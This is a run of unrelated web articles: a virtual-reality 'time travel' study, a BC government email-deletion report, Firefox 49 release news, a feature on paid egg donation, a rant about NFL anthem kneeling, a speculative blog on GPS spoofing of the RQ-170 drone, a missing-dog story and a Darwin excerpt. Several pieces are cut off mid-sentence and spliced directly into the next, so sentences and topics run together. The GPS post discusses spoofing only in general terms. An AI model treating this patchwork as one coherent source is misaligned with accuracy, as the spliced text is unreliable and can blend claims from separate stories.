7 Watch a game on TV. Or listen on the radio. Or on the internet. Get involved.
8 Hope for the best and expect the worst. This is the team that went to the playoffs 26 straight years and never won a cup.Image copyright Mel slater Image caption Participants see and hear their previous virtual selves when they go back in time
Virtual reality can be used to give the illusion of going "back in time", according to an exploratory study.
In this virtual world, subjects were able to reduce how many people a gunman killed, an event they had unknowingly been part of.
Going into "the past" increased the level of guilt the participants felt.
Writing in the journal Frontiers in Psychology, the team says that virtual time travel could help people overcome traumatic experiences.
Most interesting, the researchers add, was the emotional impact virtual time travel had on the participants.
"The more the participants felt the illusion, the greater the sense of their own morality," explained co-author Mel Slater of the ICREA (Catalan Research Institute) and University College London.
Mutable past
In the virtual world, participants could walk, talk and move similar to how they would in real life, and previous studies have shown that people strongly associate with their virtual selves.
"In virtual reality, the brain's low level perceptual system does not distinguish between the virtual and the real world; the brain takes what it sees and hears in a surrounding environment as given," added Prof Slater.
"Therefore, if they had an experience with the illusion of time travel, there is implicit learning that the past is mutable, that is:'my own past decisions don't matter because they're changeable'."
Image copyright Mel Slater Image caption People were able to go back in time to save five lives at the expense of one
In the study, 32 participants witnessed a man open fire and kill five people in an art gallery. They had learnt to control a lift and had allowed the killer to go to the upper-level.
It's the best thing we can do for time travel until the physicists do their job and come up with a time machine Dr Friedman Doron,, Sammy Ofer School of Communication, Israel
Half of these went back in time to experience this event once more, but this time were faced with a classic moral dilemma: do nothing and five people will die, or intervene and five lives can be saved at the expense of one.
The other half simply experienced the same event but were not able to change their earlier actions.
This dilemma is commonly used in philosophical studies looking at morality. As expected, most participants chose to intervene.
This team says that virtual time travel could help people overcome post traumatic stress disorders or to revaluate previous bad decisions.
Time machine
The laws of physics, of course, currently dictate that time travel is not possible. But lead author of the work, Friedman Doron, from the Sammy Ofer School of Communications in Israel, said his team had now come closest to it.
"Highly immersive virtual reality is very visceral. People hide behind the desk when they get shot. Some of the subjects duck down. It's the best thing we can do for time travel until the physicists do their job and come up with a time machine. For now this is the closest thing."
Physicist Robert Nemiroff of Michigan Technology University, US, commented that the work was interesting, though strange as "the ability to change the past is not a reasonably likely occurrence".
"If some version of illusory 'time travel therapy' can help people make better decisions in the future, and come to a better understanding of bad decisions, they have made in the past - then I am all for it."
But he added that having patients going around really believing that that they could change the past "might have negative repercussions that have not been explored".
Image copyright Mel Slater Image caption Studies have shown that people experience a strong sense of body ownership in virtual worlds
People have long entertained the fantasy of going backwards in time, commented James Broadway from the University of California Santa Barbara, |
items for up to 14 days.
Denham says Gretes first flatly denied the accusations, but in a second interview, after being presented with forensic evidence that showed items had been triple deleted, "Gretes admitted that he did not tell the truth in his original testimony and that he did triple delete emails."
"I cannot overstate the gravity with which I view the false testimony given during this investigation by George Gretes," Denham says in the report.
Systematic deletion
Denham also expressed disbelief at the results of an investigation into allegations that emails were being systematically deleted in the office of the premier.
The issue centres around the retention of so-called non-transitory records. According to the report, those include "decision records, instructions and advice, as well as documentation of a policy matter or how a case was managed."
Transitory records are "convenience copies, unnecessary duplicates and working materials and drafts once the finished record has been produced."
But according to the report, the deputy chief of staff in the premier's office "has not personally retained a single email she has ever sent from her government email address."
Cadario claimed "very few" of the emails she sends are non-transitory because she doesn't create government policy or give policy advice. But Denham notes that Cadario's job description included providing "strategic advice to the chief of staff, premier and executive council to advance government's policy and legislative objectives."
Denham recommended mandatory records-management training for all employees as well as the legislation of independent oversight of information management requirements. She also says the government needs to introduce sanctions when those requirements are not met.Mozilla plans to postpone the release of Firefox 49, the next stable version of the web browser, by a week to fix two so-called blocker bugs.
Firefox 49 was scheduled to be released on September 13, 2016 initially which would update all stable versions of the web browser to the new release on that day.
The organization is fixing two blocker bugs currently that prevent it from releasing Firefox 49 in time.
The two blocker bugs in question address issues when loading Giphly embeds on Twitter, and slow script / unresponsive script dialogs in Firefox when resuming Firefox.
Bug 1301138 -- Clicking on a Giphly embed in Twitter loads about:blank -- highlights the first issue that blocks the release of Firefox 49.
Basically, what happens is that clicks on embeds don't display the media on a new page but a blank page. I followed the instructions outlined by the user who reported the bug, and you may too.
Visit this Twitter message page, click on the embed to load it, and then again on the embed to open the website it was posted on.
According to the bug report, the website should come up empty. This is indeed the case in the latest Firefox Beta release version (which will be the next Firefox Stable version). Things do work fine though if you follow the instructions in Firefox Stable 48.0.2.
Bug 1284511 -- Slow script/Unresponsive Script dialogs appear frequently when resuming app -- looked like an Android issue at first, but reports came in that it affected desktop versions of Firefox as well.
The user who reported the issue noticed slow script dialogues when switching back to Firefox on Android after working with other applications on the device. At least one user stated that he saw the issue come up after leaving sleep mode on a Windows 10 laptop and opening Firefox.
Mozilla needs to collect "several days of telemetry data" to analyze and fix the issue.
If things go well, Firefox 49 will be released on September 20, 2016. The postponing of the release will have no impact on the release of Firefox 50 which is still scheduled for November 8, 2016. Firefox 50 will be the last feature release of 2016. Mozilla does plan to release Firefox 50.0.1 however on December 13, 2016. (via Sören)
Now You: Did you experience those issues in Firefox?
Summary Article Name Mozilla postpones Firefox 49 release Description Mozilla plans to postpone the release of Firefox 49, the next stable version of the web browser, by a week to fix two so-called blocker bugs. Author Martin Brinkmann Publisher Ghacks Technology News Logo
AdvertisementBERKELEY (CBS 5) — It’s the hot new item in the fertility industry. More and more infertile Asian couples want eggs, but few young Asian women sign up to donate.
So how much are couples willing to pay? It turns out; the sky’s the limit for the right egg.
She’s barely 21 and Linh is in demand. “Basically they said, they chose me because they thought I was pretty, tall and a Berkeley graduate,” she said.
She has a 3.6 grade point average, she’s young, and she’s Asian, the ethnicity in demand. She is also an egg donor. Two couples are expecting babies right now partly because of her.
Her parents did not know she’s an egg donor. It’s somewhat of a cultural taboo. “You’re giving up a part of yourself to another person that you pretty much don’t know to create a child. I think the whole biological parental aspect of it would be very upsetting to most Asian parents,” she said.
Asian egg donors are rare. But having that perfect baby is every parent’s dream, a dream that has spawned an expensive industry. Hundreds of egg donor databases are offered on the internet, with the demand for certain ethnicities widely advertised.
Her eggs were gold to the infertile couples. She admits she is kind of like a commodity. “Designer genes I call it,” she said.
They are designer genes that can command unbelievable fees in the egg donation market, especially when the fertile hunting grounds include elite schools such as Stanford University. The school paper regularly runs ads for Asian eggs.
“They’re willing to pay $20,000 for a donor with characteristics that they’re looking for,” said Jackie Gorton, a nurse and attorney who works as a broker in the industry. She posted the $20,000 ad in the school paper this fall, saying she bought it for her clients.
Gorton has a reputation for getting hard-to-find egg donors. She discourages premium fees because no one could ever meet the criteria to be perfect. But sometimes desperation has a price. Gorton said she had one intended parent who asked her to place an ad and offer $40,000 but that ad received no takers.
And yet some services have offered as much as $100,000 for the perfect egg. It’s something that concerns Stanford Bioethics Professor David Magnus.
“What we have is the beginnings of the specter of eugenics,” Magnus said, the makings of a super-race and a slippery slope. “What we have is an actual egg selling, not egg donation.”
Magnus said the problem is that the industry is not regulated. “There are stricter regulations for circus animals than for reproductive services,” he said.
But Dr. Marcelle Cedars, who heads up UCSF’s fertility clinic, said that is not the case. “There are standards set by the American Society for Reproductive Medicine,” she said.
Cedars and many other fertility doctors say voluntary guidelines are enough. They call for a standard fee for donor services that ranges from $7,500 to $10,000 per cycle.
“This is really is not to pay someone for their eggs or to pay someone for a special trait. This is really to compensate them for their time and effort,” said Cedars.
The time and effort includes a grueling series of shots, doctors’ visits and egg extraction surgery. But that standard has resulted in a “price fixing” lawsuit in California, filed by donors who feel they are not getting paid enough.
Gorton isn’t part of the lawsuit, but agrees with the plaintiffs. She believes there should not be limits to how much donors can be compensated. As she points out, doctors don’t have limits.
“There’s no restrictions on what they can bring in. But then there’s this emphasis on the donor. Well she should only be making this much,” Gorton said.
Cedars finds that ironic. “We tried to do it to protect women from being taken advantage of and doing something they might not otherwise do and this is what happens: We are being accused of price fixing,” she said.
Linh is satisfied with the $15,000 she made for two donations. They helped pay for her college expenses and another cycle will fund post graduate art courses. She said she donated her eggs to help two couples who couldn’t have children on their own.
“I don’t really plan on having children of my own. But hey, I just passed on my genes! I have fulfilled my evolutionary quota!” she said.
Other countries such as Great Britain, Canada and Australia don’t allow payment for donor eggs. So couples from these countries come to the U.S. to find them.
(Copyright 2011 by CBS San Francisco. All Rights Reserved. This material may not be published, broadcast, rewritten, or redistributed.)The Dallas Cowboys are the world’s most valuable sports franchise at 4.2 billion dollars, according to an annual list compiled by Forbes magazine. They led the list for a second straight year and brought in 700 million in revenue in 2015.
Jerry Jones bought the Cowboys from H.R. bum bright in 1989 for 140 million dollars. Tom Landry coach of the Cowboys for 29 years was quickly replaced by Jones Arkansas roommate Jimmy Johnson. Jones fired Landry, the 29 year coach over his cell phone. This is why I have since that point hated the Dallas Cowboys.
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Prior to Monday night Jerry Jones had been one of the more outspoken owners to say he wanted his players standing for the National anthem. And Monday night they did indeed stand as team along with Jones and his son Steven for the anthem. Prior to the anthem though they joined the collective hissy fit of the NFL over President Trump’s weekend remarks and took a knee as a team.
Open letter to Roger Goodell
My question is why would you do this? Why would you risk damaging the world’s most valuable sports franchise to bow to the political correctness gods of the NFL. Jones had taken the high ground prior to the kneeling incident and for the most part the Cowboys had stayed out of the mire the rest of the league is in.
I again realize that they stood for the anthem. But the picture that will forever be ingrained in NFL Patriots across our great land is Jones owner of the world’s most valuable sports franchise on the planet on his knee with the team and that big shit eating grin on his face.
I am not sure the NFL or Jerry Jones realize how far they have overstepped the grace Americas football fans have given them. I mean every team is littered with thugs the Cowboys included. Ezekiel Elliott has been accused of domestic violence while at Ohio State. The Cowboys also tolerated Greg Hardy who is especially fond of beating up women. The fans have tolerated their nonsense and wrongly looked the wrong way.
I think the NFL and Jerry Jones overplayed their hand on this issue. They will be ok for this season because season tickets are paid in advance. But Jones will pay a price se and I hope it was worth getting his political correctness badge.The RQ-170 Affair and GPS Spoofing Claims
So, there has been a lot of supposition on the blogs and in the news about just how our wayward RQ170 drone ended up pretty much intact and in the hands of the Iranians.
In looking at all of the posts online and in the news as well as talking to a knowledgeable source or two, I decided to attempt a little OSINT on the issue and I think I have come up with some more tidbits for everyone to think about.
I believe that there is a middle road here to be tread on just how this happened and I would like to think that the potential for such an attack on a drone like this would be hard to pull off, AND that the military and Lockheed had taken into account such attacks before deploying things into the field... (click image to enlarge)
But, we all know mistakes are made and hubris abounds. So, here we go…
The Potential for GPS Spoofing on Military Systems
After the RQ went missing, and subsequently showed up in Iranian hands, the Military began saying that there was just a “malfunction” however, the malfunction had to have been system wide and epic after seeing the images of the RQ170 intact.
You see, there is a self destruct as well as other interesting features on this bird, and if that failed then there had to be a large systems failure, but the question then became why was the RQ still intact? If the systems had failed completely, should not the RQ be in pieces at the very least from falling out of the sky?
After a week or so, a report came out of Iran from a “source” that claimed the RQ had in fact been brought down and landed without incident through a GPS attack on a flaw in the system. This type of attack had been talked about before and it was possible per empirical testing that a GPS system, even a Military one, could in fact be subjected to attacks that would confuse the GPS system into believing it was elsewhere other than it’s real current position. So, the precedent is there, even though the Mil systems would take a bit more effort, it was in fact possible to the right people with the right technology and know how.
So, once again, the possibility is there and we had a drone in the neighborhood… Did they indeed “spoof” the signals? If then how?
The GBAS and DGPS 1kw System from Fajr Industries
(click image to enlarge)
Once I decided to look into this further, I got into the mindset of “If I were Iranian and wanted to know about spoofing GPS, I might in fact talk about it online”. Well sure enough, with a few well placed Google searches I was able to come up with the following links and people doing the research:
(click image to enlarge)
It seems that Farshad and Azimi have been working on an analogous project for Iran that also could possibly be used as a launch pad for a spoof attack. The documents (pdf files and Powerpoint) show a program to “augment” the GPS environment in Iran by placing base stations with the Fajr GPS (GBAS) network/hardware in specific sites throughout the country to ostensibly help with aircraft navigation.
However, even in their presentation, they mention the possibility of spoofing and though I don’t have a great translation as yet of the Persian (soon I hope) it seems as though they brought this up as either a potential issue or, as a potential boon to the implementation of the system. (click image to enlarge)
Though, to me, it seems that having such a network of broadcast sites out in the desert one might be able to overpower and spoof the signal of a GPS system in flight on a drone over Iranian airspace makes it all the more possible. You see, the basis of this attack is to overpower the signals from the satellite and make the on board system think it is elsewhere via data lag. If you look at the proposed and existing sites in the PowerPoint, you can get an idea of the scope of the project.
Mind you, this all was started in 2004 and the PowerPoint was last updated in 2007.. So, this has been ongoing for a while. A while that we have also been starting to use the drones more and more coincidentally.
Kvant 1L222 Avtobaza Electronic Intelligence (ELINT) system and The RQ170
(click image to enlarge)
Meanwhile, the reports that are circulating on the net and in the news also remark on the fact that Iran recently took possession of some 1L222 Avtobaza ELINT trucks. These may in fact have had some part in this process as well, however, it is rather sketchy at this time to say whether or not the Avtobaza has been moded to work in the satellite ranges as opposed to its main function as a radar jamming station and RF intelligence gathering tool.
So, I can’t say for sure, but it is also possible but I am leaning toward the home brew that Azimi and Farshad worked on as the more possible, with mods, to actually pull off an attack on an “M-code” system. I had been leaning toward the Avtobaza before, but after all my searches and what I found, I have to back off that idea a bit.
The fact though, that they have this technology means too that future drones will have to be careful in Iranian airspace as well as all of the border states need to be careful as this system can jam their radar systems and allow attacks potentially to have a leg up.
Hypothesis, Supposition, and Educated Guesses
Overall, even these finds only paint a picture of supposition and educated guesses. What we have is a missing drone that seems to be intact and failed to do everything it was programmed to do (self destruct etc) and yet landed intact. Without an attack that is now becoming more plausible (GPS spoof) how do we explain it all?
Certainly Lockheed, the CIA, and the Military won’t be telling us all anytime soon will they? The fact that the Iranian’s started off with just saying they had hacked it, then letting loose with the technician (un-named) saying that it was easy enough with a GPS spoof kind of leads me to believe on this account, they are telling the truth.
And doesn’t that make us look foolish huh? It seems that generally the West thinks that Iran is not competent enough to pull off certain kinds of things and would like to write this off… I would instead beg this question:
“If they are so lacking competence, then we are we whacking their scientists and worried that they are working on a nuclear weapons program that may bear fruit soon?”
In my book, they scored one on us… Now I just hope that the Military and Lockheed learn from this as well as the other incident with AQ and unencrypted Predator feeds and fix the problems before they launch more advanced drones in country.
K.
Cross-posted from Krypt3iaWhat is eSight? eSight are electronic glasses that restore or enhance sight for individuals living with vision loss. Worn comfortably like a normal pair of glasses, or with prescription lenses built-in, they allow a person with low vision to see in virtually the same manner as someone who is fully sighted can.
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Is eSight available in my country? eSight is available in over 40 countries, and we are continuously working towards increasing our worldwide availability. Please click here for a full list of international distributors.Greetings Citizens and Civilians, you’re tuned to episode 090, of Guard Frequency, the universe’s premier Star Citizen podcast recorded on 25th September 2015 and released for streaming and download on Tuesday, September 29th 2015 at GuardFrequency.com [Download this episode]
Geoff, Lennon and Tony return in full force and are joined by some special guests for this week’s CIG News, but before that in Squawk Box we check out why for relaxing times, it has to be Ballentine’s. In CIG News we welcome the return of some old friends of the show who discuss with us the latest volley of legal shots being fired between Derek Smart and CIG, as well as Around The Verse episode 62. In Nuggets for Nuggets, we get access to some unaired footage of Travel with Steve, and finally we tune into the Feedback Loop and let you join in on the conversation.
Topics Discussed
This Week’s Community Questions
IN 100 WORDS OR LESS (and we will be checking), we want your take on this week’s dosage of CIG/DS drama.
Let us know your thoughts by commenting below!
We got patches!
View our post for the episode on the RSI forums.
Our Organisation: Guard Frequency Response
Click here to go to our Organisation page and apply today!Anything’s possible, even a Nintendo theme park, according to legendary Nintendo designer Shigeru Miyamoto. ABC recently asked Miyamoto whether he would consider an actual Mario theme park, as opposed to a digital amusement park like the one found in Wii U launch title Nintendo Land. The company is currently focusing on digital products; however, Miyamoto reassures that a Nintendo theme park isn’t out of the question. Who wouldn’t want to visit a real ‘Nintendo Land’ or ‘Nintendo World’?
ABC: “Nintendo Land” very much teased us, and everyone wants to actually go to Nintendo Land in person. Have you ever been approached about a Mario theme-park, or is that ever something you would consider in real life?
Miyamoto: Certainly, with Nintendo being in the entertainment industry, there may come some point in the future where that might become a possibility. But right now we’ve got our hands full creating our digital products. Certainly, it’s not an impossibility.National Grid has agreed to sell a majority stake in the UK’s gas pipe network to a team of investors, including the Chinese and Qatari states.
The UK's power network operator confirmed it is offloading the 61 per cent shareholding to a consortium led by Australian investment bank Macquarie in a deal that values the unit at around £13.8bn.
The division controls an important part of the country's infrastructure, which delivers gas to 11 million homes through 82,000 miles of pipeline, and its sale will reignite concerns about the ownership of critical national assets by foreign investors.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
In August Theresa May said such deals would face tighter regulation as she gave the green light to the French and Chinese-funded Hinkley Point nuclear reactor.
National Grid said it would distribute a £150m voluntary payment to benefit British energy customers, while some £4bn of the proceeds will be returned to the company’s shareholders.
It will keep 31 per cent of the business but said it could potentially sell another 14 per cent stake to the consortium under the terms of the deal.
The sale, which is set to complete before the end of March next year, comes as part of a move to rebalance National Grid's business towards higher growth areas and create extra value for shareholders.
Dave Prentis, Unison union general secretary, said: “The experience of Thames Water customers when Macquarie was running the show should have been a red flag to ministers and regulators as how unsuitable this company is to be in charge of the UK's gas supply.
”Macquarie has poor form already – in building up huge company debt, repatriating massive dividends to the southern hemisphere and charging customers more for a much poorer service.
Shape Created with Sketch. Business news: in pictures Show all 8 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Business news: in pictures 1/8 Mahabis bust High-end slipper retailer Mahabis has gone into administration. 2 Jan 2019 Mahabis 2/8 Costa Cola Coca-Cola has paid £3.9bn for Costa Coffee. A cafe chain is a new venture for the global soft drinks giant PA 3/8 RIP Payday Loans A funeral procession for payday loans was held in London on September 2. The future of pay day lenders is in doubt after Wonga, Britain's biggest, went into administration on August 30 PA 4/8 Musk irks investors and directors Elon Musk has concluded that Tesla will remain public. Investors and company directors were angry at Musk for tweeting unexpectedly that he was considering taking Tesla private and share prices had taken a tumble in the following weeks Getty 5/8 Jaguar warning Iconic British car maker Jaguar Land Rover warned on July 5, 2018 that a "bad" Brexit deal could jeopardise planned investment of more than $100 billion, upping corporate pressure as the government heads into crucial talks AFP/Getty 6/8 Spotif-IPO Spotify traded publically for the first time on the New York Stock Exchange on Tuesday. However, the company isn't issuing shares, but rather, shares held by Spotify's private investors will be sold AFP/Getty 7/8 French blue passports The deadline to award a contract to make blue British passports after Brexit has been extended by two weeks following a request by bidder De La Rue. The move comes after anger at the announcement British passports would be produced by Franco-Dutch firm Gemalto when De La Rue’s contract ends in July. The British firm said Gemalto was chosen only because it undercut the competition, but the UK company also admitted that it was not the cheapest choice in the tendering process. 8/8 Beast from the east economic impact The Beast from the East wiped £4m off of Flybe’s revenues due to flight cancellations, airport closures and delays, according to the budget airline’s estimates. Flybe said it cancelled 994 flights in the three months to 31 March, compared to 372 in the same period last year. 1/8 Mahabis bust High-end slipper retailer Mahabis has gone into administration. 2 Jan 2019 Mahabis 2/8 Costa Cola Coca-Cola has paid £3.9bn for Costa Coffee. A cafe chain is a new venture for the global soft drinks giant PA 3/8 RIP Payday Loans A funeral procession for payday loans was held in London on September 2. The future of pay day lenders is in doubt after Wonga, Britain's biggest, went into administration on August 30 PA 4/8 Musk irks investors and directors Elon Musk has concluded that Tesla will remain public. Investors and company directors were angry at Musk for tweeting unexpectedly that he was considering taking Tesla private and share prices had taken a tumble in the following weeks Getty 5/8 Jaguar warning Iconic British car maker Jaguar Land Rover warned on July 5, 2018 that a "bad" Brexit deal could jeopardise planned investment of more than $100 billion, upping corporate pressure as the government heads into crucial talks AFP/Getty 6/8 Spotif-IPO Spotify traded publically for the first time on the New York Stock Exchange on Tuesday. However, the company isn't issuing shares, but rather, shares held by Spotify's private investors will be sold AFP/Getty 7/8 French blue passports The deadline to award a contract to make blue British passports after Brexit has been extended by two weeks following a request by bidder De La Rue. The move comes after anger at the announcement British passports would be produced by Franco-Dutch firm Gemalto when De La Rue’s contract ends in July. The British firm said Gemalto was chosen only because it undercut the competition, but the UK company also admitted that it was not the cheapest choice in the tendering process. 8/8 Beast from the east economic impact The Beast from the East wiped £4m off of Flybe’s revenues due to flight cancellations, airport closures and delays, according to the budget airline’s estimates. Flybe said it cancelled 994 flights in the three months to 31 March, compared to 372 in the same period last year.
“The company has already proved it can’t be trusted with the nation’s water supply, but now it is to be in charge of gas pipes to millions of homes and businesses.
“The Government has said it wants to invest in UK infrastructure, yet these are not terribly encouraging first steps. It suggests ministers have not given much thought to an industrial strategy, not do they seem to have much desire to retain key parts of the nation’s infrastructure in UK hands.”
John Pettigrew, chief executive of National Grid, said the deal “represents an important milestone in the evolution of National Grid and is a good outcome for our customers, employees, and shareholders”.
We’ll tell you what’s true. You can form your own view.
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Subscribe nowProfessional tracking dog joins search for missing Hamden retriever Local family has been looking for ‘Missy’ since August
Missy, a 2-year-old black lab; has been missing in the area of West Ridge State Park since August. Contributed Missy, a 2-year-old black lab; has been missing in the area of West Ridge State Park since August. Contributed Photo: Journal Register Co. Photo: Journal Register Co. Image 1 of / 3 Caption Close Professional tracking dog joins search for missing Hamden retriever 1 / 3 Back to Gallery
HAMDEN >> The search for a young female Labrador retriever missing for almost seven weeks intensified this month as the dog’s family engaged the help of a professional animal tracker.
Missy, a 2-year-old black lab; escaped from the Merryfield Veterinary Hospital in Hamden on Aug. 13. The dog slipped out of her collar and ran away from a technician who had taken her outside the Shepherd Avenue clinic to collect a urine sample, the clinic’s owner, Cosar Adnan of Bethany, confirmed,
“The community and people in area helping as much as they can. Very responsive staff and local people that day, following day... It is our hopes and desires she is found. We wish Missy would be united and found by now.”
Through the hot days of August and the increasingly long nights of September, and now October, Missy’s owner, Mary Alice McSherry 61, of Cheshire, has tirelessly pushed to find her family’s dog.
McSherry immediately posted Missy’s loss on social media — grabbing the attention of local members of Connecticut’s Dog Gone Recovery network. McSherry said the volunteer group helped her design the eye-catching Lost Dog posters McSherry has placed on countless telephone poles on miles of roads through New Haven, Hamden, Woodbridge and Bethany. She especially targeted the borders of the Hamden section of West Rock Ridge State Park — where Missy has twice been spotted, once by a cyclist soon after she went missing, and the second time by a hiker in mid September.
DGR volunteer Kristen Johnson, of Hamden, said the unknown cyclist reported encountering a large black Labrador along the trail leading from Mountain Road to Wintergreen Lake in Hamden soon after Missy ran away from the animal hospital. Then, on Sept. 15, a hiker told the group he saw a lone Labrador resting on the same stretch of trail — before she got up and darted into the foliage.
Why would a tired and hungry dog, so loved and so close to rescue, bolt back into the woods?
“She’s shifted into survival mode,” said Dog Gone Recovery team leader Carol Ferrucci, of Meriden. “She’s focused solely on staying alive, staying safe. At this point, anyone calling her, coming at her through the woods, is perceived as a predator, even her owner. The only way to get her back now is to trap her.”
That learned observation combined with the vividness of the September sighting, encouraged McSherry to put a sniffer dog on her errant pup’s trail.
“I was reluctant to take the job, to give the family false hope,” said Jamie Genereux, a trailing dog specialist who runs Packleader PetTrackers, a Rhode Island-based missing pet search team.
“I told them it’s been too much time since the dog went missing. Lucky for us there was enough scent there to send us in the right direction,” he said.
When Genereux says “us,” he means he and his 5-year-old American Field Trial Standard Labrador, Dexter.
“He’s solid muscle,” observed Genereux. “There’s 75 pounds of power in that dog.”
Power and agility, backed by Genereux’s 20 years experience training and trailing scent dogs — and a hint from the hiker, Pat Destitoo, 63, of Hamden, who had made the Sept. 15 sighting.
“My wife Ann and I have two dogs. This family’s story touches our hearts.,” Destito said, “We’ve been keeping an eye out for Missy ever since we saw the posters. Since we live near the park, we started hiking every chance we could. That particular evening we spotted a black lab lying on a patch of green grass, 30 yards from where we stood. She was there … then she got up and bolted back into the woods.”
Energized by the sighting, the couple called and befriended McSherry. They joined DGR’s tireless searches along the trails, helping Johnson, Adams and Ferrucci monitor the wilderness cameras they’d mounted, taking turns checking the dog and water bowls they’d set out for signs of activity, even keeping tabs on an earlier trap so hopefully baited with Missy’s blanket and dog biscuits. All that hopeful energy with no dog to show for their efforts – just blurred camera images of the occasional coyote and even a porcupine snacking on Missy’s kibble.
Then on Sept. 29, Pat Destito guided Genereux to the exact place he’d seen a lab resting on the trail. He explained what happened after the tracker gave Dexter her favorite soccer ball. “His dog pressed his nose to the ball and took off through woods. It was impressive.”
“We heard something in the woods just ahead of us,” said Genereux, who had followed his dog for 3½ hours through heavy brush. “Dexter found several of her scent trails from two different sites, but there’s no way of knowing how old they are.”
Even so, encouraged by Dexter’s intensity and excitement, McSherry decided Genereux should give the trail dog another chance. That second, Oct. 1 tracking session yielded similar results. “We know the direction she went,” said Generux, “now it’s a matter of discovering how far.”
How far through the park’s 1,722 acres of sprawling wilderness, including creeks, ponds, and lakes; rocky slopes and thorny forest, populated by plentiful small game but also coyotes, is a guess Genereux and Ferrucci consider the coyotes too smart to risk tangling with a dog as large as Missy.
With each tracking session costing $100 an hour, plus traveling expenses, McSherry took Genereux’s advice to concentrate on placing cameras, motion detectors and feeding stations in the areas Dexter honed in on.
Genereux heartily echoed Ferrucci’s earlier observation: “A dog in this situation is living like a coyote or fox. If something’s coming: run. We need to confine her in the safe space she’s made for herself, to track her to the best place to set the trap.”
Toward that goal, Genereux continues to text and advise Destito, conferring with him as they interpret the electronic information they capture. “All we need is a clear image,” said Destito, who happens to be a self-employed software data manager. “One clear image - then the tracker will return and show us the best way to camouflage and bait a suitable trap.”
McSherry and Destito are not giving up.
“Missy’s a lab,” Destito said, “a dog bred to deal with wildlife. I trust what Dexter sensed. And I trust the interactions I’ve had with other people on the trail, hundreds of hiker(s) and cyclists who, almost to a person say they’re also looking for Missy, that she’s in their prayers.”
“My gut also tells me not to blindly believe she’s alive, but my heart says she is, that she has a strong will to survive,” he said.
McSherry’s determination is as strong, because, after seven weeks of social media footwork and countless dawn and dusk walks, there she was again, standing at the edge of the Red Trail, gazing into the woods. “I never thought it’d come to this,” she said. “I thought I’d have her back by now. I just want her home.”
To learn more Dog Gone Recovery, contact: Carol Ferrucci at CFerrucci@aim.com. Find Digger and his canine colleagues at work at http://www.packleaderpettrackers.com/By Clark Judge
Talk of Fame Network
The clock is ticking on Tom Brady and “DeflateGate,” with most observers anticipating a resolution to the seven-month ordeal soon.
But it’s not "most" observers I’m interested in. It’s Geoffrey Rapp, associate dean for academic affairs and the Harold A. Anderson professor of law and values at the University of Toledo College of Law, I want to hear from. I consulted |
is just as noble a conception of the Deity to believe that He created a few original forms capable of self-development into other and needful forms, as to believe that He required a fresh act of creation to supply the voids caused by the action of His laws."
Why, it may be asked, until recently did nearly all the most eminent living naturalists and geologists disbelieve in the mutability of species? It cannot be asserted that organic beings in a state of nature are subject to no variation; it cannot be proved that the amount of variation in the course of long ages is a limited quality; no clear distinction has been, or can be, drawn between species and well-marked varieties. It cannot be maintained that species when intercrossed are invariably sterile, and varieties invariably fertile; or that sterility is a special endowment and sign of creation. The belief that species were immutable productions was almost unavoidable as long as the history of the world was thought to be of short duration; and now that we have acquired some idea of the lapse of time, we are too apt to assume, without proof, that the geological record is so perfect that it would have afforded us plain evidence of the mutation of species, if they had undergone mutation.
But the chief cause of our natural unwillingness to admit that one species has given birth to clear and distinct species, is that we are always slow in admitting great changes of which we do not see the steps. The difficulty is the same as that felt by so many geologists, when Lyell first insisted that long lines of inland cliffs had been formed, and great valleys excavated, by the agencies which we see still at work. The mind cannot possibly grasp the full meaning of the term of even a million years; it cannot add up and perceive the full effects of many slight variations, accumulated during an almost infinite number of generations.
Although I am fully convinced of the truth of the views given in this volume under the form of an abstract, I by no means expect to convince experienced naturalists whose minds are stocked with a multitude of facts all viewed, during a long course of years, from a point of view directly opposite to mine. It is so easy to hide our ignorance under such expressions as the "plan of creation" or "unity of design," &c., and to think that we give an explanation when we only restate a fact. Any one whose disposition leads him to attach more weight to unexplained difficulties than to the explanation of a certain number of facts will certainly reject the theory. A few naturalists, endowed with much flexibility of mind, and who have already begun to doubt the immutability of species, may be influenced by this volume; but I look with confidence to the future,—to young and rising naturalists, who will be able to view both sides of the question with impartiality. Whoever is led to believe that species are mutable will do good service by conscientiously expressing his conviction; for thus only can the load of prejudice by which this subject is overwhelmed be removed.
Several eminent naturalists have of late published their belief that a multitude of reputed species in each genus are not real species; but that other species are real, that is, have been independently created. This seems to me a strange conclusion to arrive at. They admit that a multitude of forms, which till lately they themselves thought were special creations, and which are still thus looked at by the majority of naturalists, and which consequently have all the external characteristic features of true species,—they admit that these have been produced by variation, but they refuse to extend the same view to other and slightly different forms. Nevertheless they do not pretend that they can define, or even conjecture, which are the created forms of life, and which are those produced by secondary laws. They admit variation as a vera causa in one case, they arbitrarily reject it in another, without assigning any distinction in the two cases. The day will come when this will be given as a curious illustration of the blindness of preconceived opinion. These authors seem no more startled at a miraculous act of creation than at an ordinary birth. But do they really believe that at innumerable periods in the earth's history certain elemental atoms have been commanded suddenly to flash into living tissues? Do they believe that at each supposed act of creation one individual or many were produced? Were all the infinitely numerous kinds of animals and plants created as eggs or seed, or as full grown? and in the case of mammals, were they created bearing the false marks of nourishment from the mother's womb? Undoubtedly some of these same questions cannot be answered by those who believe in the appearance or creation of only a few forms of life, or of some one form alone. It has been maintained by several authors that it is as easy to believe in the creation of a million beings as of one; but Maupertuis' philosophical axiom "of least action" leads the mind more willingly to admit the smaller number; and certainly we ought not to believe that innumerable beings within each great class have been created with plain, but deceptive, marks of descent from a single parent.
As a record of a former state of things, I have retained in the foregoing paragraphs, and elsewhere, several sentences which imply that naturalists believe in the separate creation of each species; and I have been much censured for having thus expressed myself. But undoubtedly this was the general belief when the first edition of the present work appeared. I formerly spoke to very many naturalists on the subject of evolution, and never once met with any sympathetic agreement. It is probable that some did then believe in evolution, but they were either silent, or expressed themselves so ambiguously that it was not easy to understand their meaning. Now things are wholly changed, and almost every naturalist admits the great principle of evolution. There are, however, some who still think that species have suddenly given birth, through quite unexplained means, to new and totally different forms: but, as I have attempted to show, weighty evidence can be opposed to the admission of great and abrupt modifications. Under a scientific point of view, and as leading to further investigation, but little advantage is gained by believing that new forms are suddenly developed in an inexplicable manner from old and widely different forms, over the old belief in the creation of species from the dust of the earth.
